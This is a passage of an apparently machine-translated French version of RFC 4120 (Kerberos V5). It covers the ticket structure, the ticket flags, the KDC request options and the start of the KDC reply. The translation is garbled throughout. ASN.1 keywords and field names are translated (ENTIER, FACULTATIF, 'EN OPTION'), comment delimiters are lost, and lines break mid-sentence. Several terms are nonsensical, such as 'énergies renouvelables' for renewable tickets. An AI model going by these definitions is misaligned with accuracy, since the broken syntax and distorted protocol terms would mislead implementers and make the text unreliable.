keytype [0] Int32 - en fait, type de cryptage -,
valeur de clé [1] OCTET STRING
}

Neuman et al. Piste de normes [Page 65]

RFC 4120 Kerberos V5 juillet 2005

type de clé
Ce champ spécifie le type de cryptage de la clé de cryptage
qui suit dans le champ keyvalue. Bien que son nom soit
"keytype", il spécifie en fait un type de cryptage. Précédemment,
plusieurs cryptosystèmes ayant effectué le cryptage différemment,
mais
étaient capables d'utiliser des clés ayant les mêmes caractéristiques
étaient
autorisé à partager un numéro attribué pour désigner le type de
clé; cette utilisation est maintenant déconseillée.

valeur clé
Ce champ contient la clé elle-même, codée sous la forme d'une chaîne
d'octets.

Les messages contenant des données en clair à authentifier seront

généralement
Pour ce faire, utilisez un membre de type Checksum. La plupart des cas
de Checksum
utilisez un hachage à clé, bien que des exceptions soient notées.

Somme de contrôle :: = SEQUENCE {

cksumtype [0] Int32,
somme de contrôle [1] OCTET STRING
}

cksumtype
Ce champ indique l’algorithme utilisé pour générer le
somme de contrôle accompagnant.

somme de contrôle
Ce champ contient la somme de contrôle elle-même, codée sous forme
d'octet
 chaîne.

Voir la section 4 pour une brève description de l’utilisation du

chiffrement et
sommes de contrôle dans Kerberos.

5.3. Des billets

Cette section décrit les paramètres de format et de cryptage pour

billets et authentificateurs. Lorsqu'un ticket ou un authentifiant est
inclus dans un message de protocole, il est traité comme un objet
opaque. UNE
ticket est un enregistrement qui aide un client à s’authentifier auprès
d’un service. UNE
Le ticket contient les informations suivantes:

Ticket :: = [APPLICATION 1] SEQUENCE {

tkt-vno [0] ENTIER (5),
royaume [1] royaume,
sname [2] PrincipalName,
enc-part [3] EncryptedData - EncTicketPart
}

- partie cryptée du billet

Neuman et al. Norme Track [Page 66]

RFC 4120 Kerberos V5 juillet 2005

EncTicketPart :: = [APPLICATION 3] SEQUENCE {

drapeaux [0] TicketFlags,
key [1] EncryptionKey,
crealm [2] Royaume,
cname [3] PrincipalName,
transited [4] TransitedEncoding,
authtime [5] KerberosTime,
starttime [6] KerberosTime FACULTATIF,
endtime [7] KerberosTime,
renew-till [8] KerberosTime FACULTATIF,
caddr [9] HostAddresses FACULTATIF,
autorisation-data [10] AuthorizationData FACULTATIF
}

- champ codé en transit

TransitedEncoding :: = SEQUENCE {
tr-type [0] Int32 - doit être enregistré -,
sommaire [1] OCTET STRING
}

TicketFlags :: = KerberosFlags
- réservé (0),
- transférable (1),
- transmis (2),
- proxiable (3),
- procuration (4),
- mai-postdate (5),
- postdaté (6),
- invalide (7),
 - renouvelable (8),
- initiale (9),
- pré-authentification (10),
- hw-authent (11),
- les suivants sont nouveaux depuis 1510
- transited-policy-vérifié (12),
- ok en tant que délégué (13)

tkt-vno
Ce champ spécifie le numéro de version du format du ticket.
Ce document décrit la version numéro 5.

domaine
Ce champ spécifie le domaine qui a émis un ticket. Ça aussi
sert à identifier la partie du domaine du serveur principal
identifiant. Puisqu’un serveur Kerberos ne peut émettre de tickets
que pour
serveurs dans son royaume, les deux seront toujours identiques.

Neuman et al. Piste de normes [Page 67]

RFC 4120 Kerberos V5 juillet 2005

Le nom de
Ce champ spécifie tous les composants de la partie nom de la
l'identité du serveur, y compris les parties qui identifient un
spécifique
instance d'un service.

partie enc
Ce champ contient le codage crypté de la pièce EncTicketPart.
séquence. Il est chiffré dans la clé partagée par Kerberos et le
serveur final (clé secrète du serveur), en utilisant une valeur
d’utilisation de la clé de
2

drapeaux
Ce champ indique laquelle des diverses options ont été utilisées ou
demandé lors de l'émission du billet. La signification des drapeaux
sont les suivants:

Nom (s) du bit Description

0 réservé Réservé à l'expansion future de ce champ.

1 transmissible Le drapeau FORWARDABLE n’est normalement que

interprété par le TGS, et peut être ignoré
par des serveurs d'extrémité. Lorsqu'il est
défini, cet indicateur indique
le serveur d'octroi de tickets qu'il est OK de
émettre un nouveau TGT avec un réseau différent
adresse basée sur le billet présenté.

2 transféré Lorsqu'il est défini, cet indicateur indique que le

ticket a été transmis ou était
 émis sur la base d'une authentification
impliquant un
TGT transmis.

3 proxiable Le drapeau PROXIABLE est normalement seulement

interprété par le TGS, et peut être ignoré
par des serveurs d'extrémité. Le drapeau
PROXIABLE a un
interprétation identique à celle de la
FORWARDABLE, sauf que le PROXIABLE
indicateur indique au serveur d'octroi de
tickets que
seuls les non-TGT peuvent être émis avec
différents
adresses réseau.

4 proxy Lorsqu'il est défini, cet indicateur indique qu'un ticket

est un proxy.

5 may-postdate Le drapeau MAY-POSTDATE est normalement seulement

interprété par le TGS, et peut être ignoré
par des serveurs d'extrémité. Ce drapeau
indique au

Neuman et al. Piste de normes [Page 68]

RFC 4120 Kerberos V5 juillet 2005

serveur d'octroi de billets qu'un post-daté

ticket PEUT être émis sur la base de ce TGT.

6 postdaté Ce drapeau indique que ce billet a

été postdaté. Le service final peut vérifier
le champ authtime pour voir quand l'original
l'authentification s'est produite.

7 invalide Ce drapeau indique qu'un ticket est

invalide, et il doit être validé par le KDC
Avant utilisation. Les serveurs d'applications
doivent rejeter
billets qui ont ce drapeau mis.

8 renouvelables Le drapeau RENOUVELABLE n’est normalement que

interprété par le TGS, et peut généralement
être
ignoré par les serveurs finaux (certains
particulièrement
serveurs soigneux PEUVENT refuser les énergies
renouvelables
des billets). Un ticket renouvelable peut être
utilisé pour
obtenir un billet de remplacement expirant à
une date ultérieure.

9 initiale Ce drapeau indique que ce billet était

émis en utilisant le protocole AS, et non
publié
 basé sur un TGT.

10 pré-authent. Cet indicateur indique que lors de la première

authentification, le client a été authentifié
par le KDC avant qu'un billet ait été émis. le
la force de la méthode de pré-authentification
est
pas indiqué, mais est acceptable pour le KDC.

11 hw-authent Cet indicateur indique que le protocole

employé pour l'authentification initiale
requise
l'utilisation du matériel que l'on s'attend à
posséder
uniquement par le client nommé. Le matériel
méthode d'authentification est sélectionnée par
le KDC
et la force de la méthode n'est pas
indiqué.

12 ont transité- Ce drapeau indique que le KDC pour

politique vérifiée le royaume a vérifié le champ transité
contre une politique définie par le domaine de
confiance
certificateurs. Si cet indicateur est
réinitialisé (0), alors
le serveur d'application doit vérifier la
champ transité lui-même, et s'il est incapable
de le faire
alors, il doit rejeter l'authentification. Si
l'indicateur est défini (1), puis l'application
serveur PEUT ignorer sa propre validation de la

Neuman et al. Norme Track [Page 69]

RFC 4120 Kerberos V5 juillet 2005

champ transité, en s'appuyant sur la validation

réalisée par le KDC. À son gré, le
serveur d'application PEUT toujours appliquer
ses propres
validation basée sur une politique distincte
pour
acceptation.

Ce drapeau est nouveau depuis la RFC 1510.

13 ok-as-delegate Cet indicateur indique que le serveur (pas le

client) spécifié dans le ticket a été
déterminé par la politique du royaume pour être
un
destinataire approprié de la délégation. Une
cliente
peut utiliser la présence de ce drapeau pour
l'aider
décider de déléguer les informations
d'identification
 (soit accorder une procuration, soit un TGT
transmis) à
ce serveur. Le client est libre d'ignorer
la valeur de ce drapeau. Lors du réglage de
cette
drapeau, un administrateur doit considérer le
sécurité et placement du serveur sur
le service sera exécuté, ainsi que
si le service nécessite l'utilisation de
pouvoirs délégués.

Ce drapeau est nouveau depuis la RFC 1510.

14-31 réservés Réservé pour une utilisation future.

clé
Ce champ existe dans le ticket et la réponse du KDC et est utilisé
passer la clé de session de Kerberos au serveur d'applications
et le client.

crealm
Ce champ contient le nom du domaine dans lequel le client est
enregistré et dans lequel l'authentification initiale a eu lieu.

cname
Ce champ contient la partie du nom du principal du client
identifiant.

en transit
Ce champ répertorie les noms des royaumes Kerberos qui ont pris part
en authentifiant l'utilisateur à qui ce ticket a été émis. Il
ne spécifie pas l'ordre dans lequel les royaumes ont été transités.
Voir la section 3.3.3.2 pour plus de détails sur la manière dont ce
champ code la
royaumes traversés. Lorsque les noms des autorités de certification
doivent être intégrés à la
champ transité (comme spécifié pour certaines extensions du

Neuman et al. Piste de normes [Page 70]

RFC 4120 Kerberos V5 juillet 2005

protocole), les noms X.500 des autorités de certification DEVRAIENT

être mappés en éléments
dans le champ transitant en utilisant le mappage défini par la RFC
2253.

authtime
Ce champ indique l'heure de l'authentification initiale pour le
nommé principal. C'est l'heure d'émission du billet original
sur lequel ce ticket est basé. Il est inclus dans le billet à
fournir des informations supplémentaires au service final, et de
fournir
les informations nécessaires à la mise en place d'une "liste chaude"
service au KDC. Un service final particulièrement paranoïaque
refuser d'accepter des billets pour lesquels la première
 l'authentification s'est produite "trop loin" dans le passé. Ce champ
est aussi
retourné dans le cadre de la réponse du KDC. Lorsqu'il est
retourné dans le cadre de la réponse à l'authentification initiale
(KRB_AS_REP), il s'agit de l'heure actuelle sur le serveur Kerberos.
Il
n'est PAS recommandé d'utiliser cette valeur de temps pour ajuster
l'horloge du poste de travail, car le poste de travail ne peut pas
déterminer de manière fiable
qu’un tel KRB_AS_REP venait en réalité du KDC approprié dans un
en temps opportun.

Heure de début
Ce champ du ticket spécifie le délai après lequel le ticket
est valable. Avec endtime, ce champ spécifie la durée de vie de
le billet. Si le champ heure de début est absent du ticket,
alors le champ authtime DEVRAIT être utilisé à sa place pour
déterminer
la vie du billet.

heure de fin
Ce champ contient le temps après lequel le ticket ne sera plus
honoré (son heure d'expiration). Notez que les services individuels
PEUVENT
fixent leurs propres limites sur la durée de vie d'un ticket et
PEUVENT refuser
billets qui n'ont pas encore expiré. En tant que tel, c’est vraiment
un
limite supérieure de l'heure d'expiration du ticket.

renouvellement-till
Ce champ n'est présent que dans les tickets qui ont le drapeau
RENOUVELABLE
situé dans le champ des drapeaux. Il indique l’heure de fin maximale
pouvant être atteinte.
être inclus dans un renouvellement. On peut penser à l'absolu
heure d'expiration du billet, y compris tous les renouvellements.

caddr
Ce champ dans un ticket contient zéro (si omis) ou plus (si
présent) adresses hôtes. Ce sont les adresses à partir desquelles le
ticket peut être utilisé. S'il n'y a pas d'adresses, le billet peut
être
utilisé de n'importe quel endroit. La décision du KDC de délivrer ou
par
le serveur final à accepter les tickets sans adresse est une décision
politique
et est laissé aux administrateurs de Kerberos et du service final;
ils
PEUT refuser d'émettre ou accepter de tels billets. À cause de la
large

Neuman et al. Standards Track [Page 71]

RFC 4120 Kerberos V5 juillet 2005

déploiement de la traduction des adresses réseau, il est recommandé

que
 permettre l’émission et l’acceptation de tels billets.

Les adresses réseau sont incluses dans le ticket, ce qui rend plus
difficile la
un attaquant à utiliser des informations d'identification volées.
Parce que la clé de session est
non envoyé sur le réseau en texte clair, les informations
d'identification ne peuvent pas être
volé simplement en écoutant le réseau; un attaquant doit gagner
accès à la clé de session (peut-être via le système d'exploitation)
des violations de sécurité ou une session sans surveillance d'un
utilisateur imprudent)
utilisation de billets volés.

Notez que l'adresse réseau à partir de laquelle une connexion est

reçue
ne peut pas être déterminé de manière fiable. Même si cela pouvait
arriver, un attaquant
qui a compromis le poste de travail du client pourrait utiliser le
lettres de créance à partir de là. Y compris les adresses réseau
seulement
rend plus difficile, pas impossible, pour un attaquant de marcher
off avec des informations d'identification volées, puis de les
utiliser à partir d'un "coffre-fort"
emplacement.

données d'autorisation
Le champ données d'autorisation est utilisé pour transmettre les
données d'autorisation
du commettant pour le compte duquel un ticket a été émis au
service d'application. Si aucune donnée d'autorisation n'est incluse,
cette
le champ sera laissé de côté. L’expérience a montré que le nom de
ce champ est déroutant, et qu'un meilleur nom serait
"restrictions". Malheureusement, il n’est pas possible de changer le
nom à ce moment.

Ce champ contient des restrictions sur toute autorité obtenue sur le

base d'authentification à l'aide du ticket. Il est possible pour tout
principal en possession des identifiants pour ajouter des entrées au
champ de données d'autorisation car ces entrées restreignent
davantage
peut être fait avec le billet. Ces ajouts peuvent être faits par
spécifier les entrées supplémentaires lorsqu'un nouveau ticket est
obtenu
pendant l'échange TGS, ou ils PEUVENT être ajoutés pendant chaîné
délégation à l'aide du champ de données d'autorisation du
authentifiant.

Les entrées pouvant être ajoutées à ce champ par le titulaire du

informations d'identification, sauf lorsqu'une entrée est
authentifiée séparément par
l’encapsulation dans l’élément émis par KDC, il est interdit de
la présence d'une entrée dans le champ de données d'autorisation d'un
ticket pour amplifier les privilèges que l’on obtiendrait en
utilisant un
billet.

Les données de ce champ peuvent être spécifiques au service final; la

Ce champ contient les noms des objets spécifiques au service et les
droits sur ces objets. Le format de ce champ est décrit
Neuman et al. Piste de normes [Page 72]

RFC 4120 Kerberos V5 juillet 2005

dans la section 5.2.6. Bien que Kerberos ne soit pas concerné par le
format du contenu des sous-champs, il porte le type
informations (type d'annonce).

En utilisant le champ authorisation_data, un principal peut

émettre une procuration valable dans un but précis. Par exemple,
un client souhaitant imprimer un fichier peut obtenir un serveur
proxy de fichiers
être transmis au serveur d'impression. En spécifiant le nom du
fichier
dans le champ autorisation_data, le serveur de fichiers sait que le
serveur d’impression ne peut utiliser les droits du client que
lorsqu’il accède au
fichier particulier à imprimer.

Un service distinct fournissant une autorisation ou un groupe de

certification
l'appartenance peut être construite en utilisant le champ
autorisation-data. Dans
Dans ce cas, l’entité qui accorde l’autorisation (et non l’autorité
entité) peut obtenir un ticket en son propre nom (par exemple, le
ticket est
émis au nom d’un serveur de privilèges), et cette entité ajoute
restrictions de sa propre autorité et délègue les restrictions
autorité via un proxy au client. Le client serait alors
présenter ces informations d'identification d'autorisation au serveur
d'applications
séparément de l'échange d'authentification. Alternativement, ces
les identifiants d'autorisation PEUVENT être intégrés au ticket
authentifier l'entité autorisée, lorsque l'autorisation est
authentifié séparément à l'aide des données d'autorisation émises par
KDC
élément (voir 5.2.6.2).

De même, si l’on spécifie le champ de données d’autorisation d’un

proxy et laisse les adresses d'hôte vides, le ticket résultant
et la clé de session peut être traitée comme une capacité. Voir
[Neu93] pour
quelques utilisations suggérées de ce domaine.

Le champ données d'autorisation est facultatif et ne doit pas

nécessairement être
inclus dans un billet.

5.4. Spécifications pour les échanges AS et TGS

Cette section spécifie le format des messages utilisés dans le

échange entre le client et le serveur Kerberos. Le format de
les messages d'erreur possibles apparaissent à la Section 5.9.1.

5.4.1. KRB_KDC_REQ Définition

Le message KRB_KDC_REQ n'a pas de numéro de balise d'application propre.

 Au lieu de cela, il est incorporé dans KRB_AS_REQ ou KRB_TGS_REQ,
chacun d'eux ayant une balise d'application, selon que le
demande concerne un ticket initial ou un ticket supplémentaire. Dans les
deux cas
Dans ce cas, le message est envoyé du client au KDC pour demander
informations d'identification pour un service.

Neuman et al. Standards Track [Page 73]

RFC 4120 Kerberos V5 juillet 2005

Les champs du message sont les suivants:

AS-REQ :: = [APPLICATION 10] KDC-REQ

TGS-REQ :: = [APPLICATION 12] KDC-REQ

KDC-REQ :: = SEQUENCE {
- NOTE: la première balise est [1], pas [0]
pvno [1] INTEGER (5),
msg-type [2] INTEGER (10 - AS - | 12 - TGS -),
padata [3] SEQUENCE OF PA-DATA EN OPTION
- NOTE: pas vide -,
req-body [4] KDC-REQ-BODY
}

KDC-REQ-BODY :: = SEQUENCE {
kdc-options [0] KDCOptions,
cname [1] PrincipalName FACULTATIF
- Utilisé uniquement dans AS-REQ -,
royaume [2] royaume
- royaume du serveur
- Aussi client en AS-REQ -,
sname [3] PrincipalName FACULTATIF,
à partir de [4] KerberosTime FACULTATIF,
jusqu'à [5] KerberosTime,
rtime [6] KerberosTime FACULTATIF,
nonce [7] UInt32,
etype [8] SEQUENCE OF Int32 - EncryptionType
- par ordre de préférence -,
adresses [9] HostAddresses FACULTATIF,
enc-autorisation-data [10] EncryptedData OPTIONAL
- AuthorizationData -,
tickets supplémentaires [11] SEQUENCE OF Ticket OPTIONAL
- NOTE: pas vide
}

KDCOptions :: = KerberosFlags
- réservé (0),
- transférable (1),
- transmis (2),
- proxiable (3),
- procuration (4),
- allow-postdate (5),
- postdaté (6),
- non utilisé7 (7),
- renouvelable (8),
- non utilisé9 (9),
 - non utilisé10 (10),

Neuman et al. Standards Track [Page 74]

RFC 4120 Kerberos V5 juillet 2005

- opt-hardware-auth (11),
- non utilisé12 (12),
- non utilisé13 (13),
- 15 est réservé à canoniser
- non utilisé15 (15),
- 26 était inutilisé en 1510
- désactiver-transit-vérifier (26),
-
- renouvelable-ok (27),
- enc-tkt-in-skey (28),
- renouveler (30),
- valider (31)

Les champs de ce message sont les suivants:

pvno
Ce champ est inclus dans chaque message et spécifie le protocole
numéro de version. Ce document spécifie le protocole version 5.

type msg
Ce champ indique le type d'un message de protocole. Ce sera
presque toujours le même que l'identifiant d'application associé
avec un message. Il est inclus pour rendre l'identifiant plus
facilement accessible à l'application. Pour le message KDC-REQ,
ce type sera KRB_AS_REQ ou KRB_TGS_REQ.

padata
Contient des données de pré-authentification. Demandes de billets
supplémentaires
(KRB_TGS_REQ) DOIT contenir un padata de PA-TGS-REQ.

Le champ padata (données de pré-authentification) contient une

séquence de
informations d'authentification pouvant être nécessaires avant les
informations d'identification
peut être émis ou déchiffré.

corps de req
Ce champ est un espace réservé délimitant l'étendue des valeurs
restantes.
des champs. Si une somme de contrôle doit être calculée sur la
demande, elle est
calculé sur un codage de la séquence KDC-REQ-BODY qui est
inclus dans le champ req-body.

kdc-options
Ce champ apparaît dans les requêtes KRB_AS_REQ et KRB_TGS_REQ à
le KDC et indique les indicateurs que le client souhaite définir sur
le
billets ainsi que d’autres informations destinées à modifier la
comportement du KDC. Le cas échéant, le nom d’une option peut
être identique à l'indicateur défini par cette option. Bien que dans
 dans la plupart des cas, le bit dans le champ des options sera le
même que celui
dans le champ des drapeaux, cela n'est pas garanti, donc ce n'est pas

Neuman et al. Norme Track [Page 75]

RFC 4120 Kerberos V5 juillet 2005

acceptable simplement de copier le champ des options dans le champ

des indicateurs.
Plusieurs vérifications doivent être effectuées avant de choisir une
option.
honoré quand même.

Le champ kdc_options est un champ de bits, où les options

sélectionnées
sont indiqués par le bit en cours de définition (1) et les options
non sélectionnées
et les champs réservés étant réinitialisés (0). Le codage des bits
est
spécifié dans la section 5.2. Les options sont décrites plus en
détail
détail ci-dessus à la section 2. La signification des options est la
suivante:
suit:

Bits Nom Description

0 RESERVED Réservé à l'expansion future de

ce domaine.

1 FORWARDABLE L'option FORWARDABLE indique

que le billet à émettre est à
avoir son drapeau transmissible. Il
ne peut être réglé que sur la valeur
initiale
demande, ou dans une demande ultérieure
si le TGT sur lequel il est basé est
également transférable.

2 FORWARDED L'option FORWARDED est seulement

spécifié dans une demande au
serveur d'octroi de tickets et ne
être honoré si le TGT dans la demande
a son bit FORWARDABLE défini. Ce
l'option indique qu'il s'agit d'un
demande de réexpédition. le
adresse (s) de l'hôte à partir duquel
le ticket résultant doit être valide
sont inclus dans le champ adresses
de la demande.

3 PROXIABLE L'option PROXIABLE indique que

le billet à émettre est d'avoir
son ensemble de drapeau proxiable. Il
peut seulement
être défini sur la demande initiale, ou
un
 demande ultérieure si le TGT sur
sur lequel il est basé est également
proxyable.

4 PROXY L’option PROXY indique que cette

est une demande de proxy. Ce
l'option ne sera honorée que si le
TGT dans la requête a son PROXIABLE
peu réglé. L'adresse (s) du

Neuman et al. Piste de normes [Page 76]

RFC 4120 Kerberos V5 juillet 2005

hôte à partir duquel le ticket

résultant
doit être valide sont inclus dans le
adresse du champ de la requête.

5 ALLOW-POSTDATE L’option ALLOW-POSTDATE indique

que le billet à émettre est à
avoir son indicateur MAY-POSTDATE
défini. Il
ne peut être réglé que sur la valeur
initiale
demande, ou dans une demande ultérieure
si le TGT sur lequel il est basé aussi
a son indicateur MAY-POSTDATE défini.

6 POSTDATED L'option POSTDATED indique que

ceci est une demande de postdaté
billet. Cette option ne sera que
honoré si le TGT sur lequel il est
based a son indicateur MAY-POSTDATE
défini.
Le billet résultant aura également
son ensemble d'indicateur INVALID, et
cet indicateur
peut être réinitialisé par une demande
ultérieure
au KDC après le début de
le billet a été atteint.

7 RÉSERVÉ Cette option est actuellement non utilisée.

8 RENOUVELABLE L’option RENOUVELABLE indique que

le billet à émettre est d'avoir
son ensemble de drapeaux RENOUVELABLE.
Il peut seulement
être défini sur la demande initiale, ou
lorsque le TGT sur lequel la demande
est
basé est également renouvelable. Si ce
l'option est demandée, alors le temps
le champ dans la demande contient le
heure d'expiration absolue souhaitée
pour
le billet.
 9 RESERVED Réservé à PK-Cross.

10 RESERVED Réservé pour une utilisation future.

11 RESERVED Réservé à opt-hardware-auth.

12-25 RÉSERVÉ Réservé pour une utilisation future.

26 DISABLE-TRANSITED-CHECK Par défaut, le KDC vérifie la

champ transité d'un TGT contre le
la politique du royaume local avant
émettra des billets dérivés basés

Neuman et al. Piste de normes [Page 77]

RFC 4120 Kerberos V5 juillet 2005

sur le TGT. Si ce drapeau est placé

dans
la demande, vérification de la
le champ transité est désactivé.
Billets émis sans le
l'exécution de cette vérification sera
noté par la valeur de réinitialisation
(0) du
Drapeau TRANSITED-POLICY-CHECKED,
indiquant au serveur d'application
que le champ transité doit être
vérifié localement. Les KDC sont
encouragé mais pas obligé d'honorer
l'option DISABLE-TRANSITED-CHECK.

Ce drapeau est nouveau depuis la RFC

1510.

27 RENOUVELABLE-OK L’option RENOUVELABLE-OK indique

qu'un billet renouvelable sera
acceptable si un billet avec le
la vie demandée ne peut être autrement
fourni, auquel cas un
billet peut être émis avec un
renouvellement
jusqu'à égal à l'heure de fin demandée.
La valeur du champ de renouvellement
peut encore être limité par local
limites, ou des limites sélectionnées
par le
principal ou serveur individuel.

28 ENC-TKT-IN-SKEY Cette option est utilisée uniquement par le

service de distribution de billets. Le
ENC-
L’option TKT-IN-SKEY indique que
le ticket pour le serveur final est de
être crypté dans la clé de session de
le TGT supplémentaire fourni.
 29 RÉSERVÉ Réservé pour une utilisation future.

30 RENOUVELER Cette option est utilisée uniquement par le

service de distribution de billets. Le
renouveau
option indique que le présent
demande est pour un renouvellement. le
ticket fourni est crypté dans le
clé secrète pour le serveur sur lequel
c'est valide. Cette option ne fera que
être honoré si le billet soit
a renouvelé son drapeau RENOUVELABLE
et si le temps dans son renouvellement-
till
le champ n'est pas passé. Le billet
pour
être renouvelé est passé dans la padata

Neuman et al. Piste de normes [Page 78]

RFC 4120 Kerberos V5 juillet 2005

champ dans le cadre de

l'authentification
entête.

31 VALIDER Cette option n’est utilisée que par le

service de distribution de billets. le
L'option VALIDATE indique que le
demande est de valider un postdaté
billet. Il ne sera honoré que si
le billet présenté est postdaté,
a actuellement son indicateur INVALID
défini,
et serait autrement utilisable à
cette fois. Un billet ne peut pas être
validé avant son heure de début. le
Le ticket présenté pour validation est
crypté dans la clé du serveur
pour lequel il est valide et est passé
dans le champ padata dans le cadre du
en-tête d'authentification.

cname et sname
Ces champs sont les mêmes que ceux décrits pour le ticket dans
section 5.3. Le sname ne peut être absent que lorsque ENC-TKT-IN-
L'option SKEY est spécifiée. Si le nom est absent, le nom du
le serveur est pris du nom du client dans le ticket transmis
comme billets supplémentaires.

enc-autorisation-data
Le enc-autorisation-data, s'il est présent (et il ne peut être
présent que
sous la forme TGS_REQ), est un encodage de la
autorisation-données cryptées sous la clé de sous-session si présente
dans l'authentificateur, ou bien à partir de la clé de session dans
le
 TGT (l’authentificateur et le TGT proviennent tous deux du champ
padata dans
le KRB_TGS_REQ). La valeur d'utilisation de la clé utilisée lors du
chiffrement est 5
si une clé de sous-session est utilisée ou 4 si la clé de session est
utilisée.

domaine
Ce champ spécifie la partie royaume du principal du serveur.
identifiant. Dans l’échange AS, c’est aussi la partie royaume de
l'identifiant principal du client.

de
Ce champ est inclus dans les tickets KRB_AS_REQ et KRB_TGS_REQ
demandes lorsque le ticket demandé doit être postdaté. Il
spécifie l'heure de début souhaitée pour le ticket demandé. Si ce
champ est omis, alors le KDC DEVRAIT utiliser l'heure actuelle
au lieu.

Neuman et al. Piste de normes [Page 79]

RFC 4120 Kerberos V5 juillet 2005

jusqu'à
Ce champ contient la date d'expiration demandée par le client dans
une demande de billet. Ce n'est pas facultatif, mais si le demandé
endtime est "19700101000000Z", le ticket demandé doit avoir le
durée maximale autorisée conformément à la politique de KDC. la mise
en oeuvre
Remarque: cet horodatage spécial correspond à une valeur time_t UNIX
de
zéro sur la plupart des systèmes.

rtime
Ce champ correspond au délai de renouvellement demandé envoyé par un
client à
le KDC dans une demande de ticket. C'est optionnel.

nonce
Ce champ fait partie de la demande et de la réponse du KDC. Il est
destiné à contenir un nombre aléatoire généré par le client. Si la
même numéro est inclus dans la réponse chiffrée du KDC, il
fournit des preuves que la réponse est fraîche et n’a pas été
rejoué par un attaquant. Les nonces NE DOIVENT JAMAIS être
réutilisés.

etype
Ce champ spécifie l'algorithme de chiffrement à utiliser
dans la réponse.

adresses
Ce champ est inclus dans la demande initiale de tickets, et il
est éventuellement inclus dans les demandes de billets
supplémentaires de la
serveur d'octroi de tickets. Il spécifie les adresses à partir
desquelles le
 le billet demandé doit être valide. Normalement, il comprend le
adresses de l'hôte du client. Si un proxy est demandé, cela
Le champ contiendra d'autres adresses. Le contenu de ce champ
sont généralement copiés par le KDC dans le champ caddr du
billet résultant.

billets supplémentaires
Des billets supplémentaires PEUVENT être facultativement inclus dans
une demande au
serveur d'octroi de tickets. Si l’option ENC-TKT-IN-SKEY a été
activée
spécifiée, la clé de session du ticket supplémentaire sera
utilisé à la place de la clé du serveur pour chiffrer le nouveau
ticket. Quand
l'option ENC-TKT-IN-SKEY est utilisée pour l'utilisateur à
l'utilisateur
authentification, ce ticket supplémentaire PEUT être un TGT émis par
le
domaine local ou un TGT inter-domaine émis pour les KDC actuels
royaume par un KDC distant. Si plus d'une option nécessite
billets supplémentaires a été spécifié, puis les billets
supplémentaires
sont utilisés dans l'ordre spécifié par l'ordre des options
bits (voir kdc-options, ci-dessus).

Neuman et al. Piste de normes [Page 80]

RFC 4120 Kerberos V5 juillet 2005

Le numéro d’étiquette de l’application sera dix (10) ou douze (12).

selon que la demande concerne un ticket initial (AS-REQ) ou
pour un ticket supplémentaire (TGS-REQ).

Les champs facultatifs (adresses, données d’autorisation et données

supplémentaires)
billets) ne sont inclus que si nécessaire pour effectuer l'opération
spécifié dans le champ kdc-options.

Notez que dans KRB_TGS_REQ, le numéro de version du protocole apparaît

deux fois.
et deux types de message différents apparaissent: le message KRB_TGS_REQ
contient ces champs de même que l'en-tête d'authentification
(KRB_AP_REQ)
qui est passé dans le champ padata.

5.4.2. KRB_KDC_REP Définition

Le format de message KRB_KDC_REP est utilisé pour la réponse du KDC pour

soit une demande initiale (AS), soit une demande ultérieure (TGS). Là
Il n'y a pas de type de message pour KRB_KDC_REP. Au lieu de cela, le
type sera soit
KRB_AS_REP ou KRB_TGS_REP. La clé utilisée pour chiffrer le texte
chiffré
une partie de la réponse dépend du type de message. Pour KRB_AS_REP, le
 le texte chiffré est chiffré dans la clé secrète du client et celle du
client
le numéro de version clé est inclus dans le numéro de version clé du
données cryptées. Pour KRB_TGS_REP, le texte chiffré est chiffré dans le
fichier
clé de sous-session de l'authentificateur; s'il est absent, le
le cryptogramme est chiffré dans la clé de session à partir du TGT
utilisé dans le
demande. Dans ce cas, aucun numéro de version ne sera présent dans le
répertoire.
Séquence EncryptedData.

Le message KRB_KDC_REP contient les champs suivants:

AS-REP :: = [APPLICATION 11] KDC-REP

TGS-REP :: = [APPLICATION 13] KDC-REP

KDC-REP :: = SEQUENCE {
pvno [0] ENTIER (5),
msg-type [1] INTEGER (11 - AS - | 13 - TGS -),
padata [2] SEQUENCE OF PA-DATA EN OPTION
- NOTE: pas vide -,
crealm [3] Royaume,
cname [4] PrincipalName,
ticket [5] Ticket,
enc-part [6] EncryptedData
- EncASRepPart ou EncTGSRepPart,
- le cas échéant
}

EncASRepPart :: = [APPLICATION 25] EncKDCRepPart

Neuman et al. Piste de normes [Page 81]

RFC 4120 Kerberos V5 juillet 2005

EncTGSRepPart :: = [APPLICATION 26] EncKDCRepPart

EncKDCRepPart :: = SEQUENCE {
key [0] EncryptionKey,
last-req [1] LastReq,
nonce [2] UInt32,
clé-expiration [3] KerberosTime OPTIONAL,
drapeaux [4] TicketFlags,
authtime [5] KerberosTime,
starttime [6] KerberosTime FACULTATIF,
endtime [7] KerberosTime,
renew-till [8] KerberosTime FACULTATIF,
srealm [9] Royaume,
sname [10] PrincipalName,
caddr [11] HostAddresses FACULTATIF
}

LastReq :: = SEQUENCE OF SEQUENCE {

lr-type [0] Int32,
lr-value [1] KerberosTime
}
 pvno et msg-type
Ces champs sont décrits ci-dessus à la section 5.4.1. msg-type est
KRB_AS_REP ou KRB_TGS_REP.

padata
Ce champ est décrit en détail à la section 5.4.1. Une possible
utiliser pour coder une chaîne alternative "salt" à utiliser avec
un algorithme chaîne à clé. Cette capacité est utile pour atténuer
transitions si un nom de domaine doit changer (par exemple, une
entreprise
est acquis); dans ce cas, toutes les entrées existantes dérivées d'un
mot de passe
dans la base de données KDC seraient marqués comme nécessitant un sel
spécial
chaîne jusqu'à la prochaine modification du mot de passe.

crealm, cname, srealm et sname

Ces champs sont les mêmes que ceux décrits pour le ticket dans
section 5.3.

billet
Le billet nouvellement émis, de la section 5.3.

partie enc
Ce champ est un espace réservé pour le texte chiffré et les données
associées.
informations qui forment la partie cryptée d'un message. le
la description de la partie cryptée du message suit chaque
apparition de ce champ.

Neuman et al. Piste de normes [Page 82]

RFC 4120 Kerberos V5 juillet 2005

La valeur d’utilisation de la clé pour chiffrer ce champ est 3 dans

un AS-REP
message, en utilisant la clé à long terme du client ou une autre clé
sélectionnée
via des mécanismes de pré-authentification. Dans un message TGS-REP,
la clé
La valeur d’utilisation est 8 si la clé de session TGS est utilisée
ou 9 si une clé TGS est utilisée.
La sous-clé authentifiant est utilisée.

Note de compatibilité: Certaines implémentations envoient

inconditionnellement une
EncTypedRepPart (numéro d'application 26) dans ce champ
que la réponse soit un AS-REP ou un TGS-REP. dans le
l’intérêt de la compatibilité, les mises en œuvre PEUVENT assouplir
la vérification des
numéro de tag de la ENC-PART déchiffrée.

clé
Ce champ est identique à celui décrit pour le ticket à la section
5.3.
 dernière demande
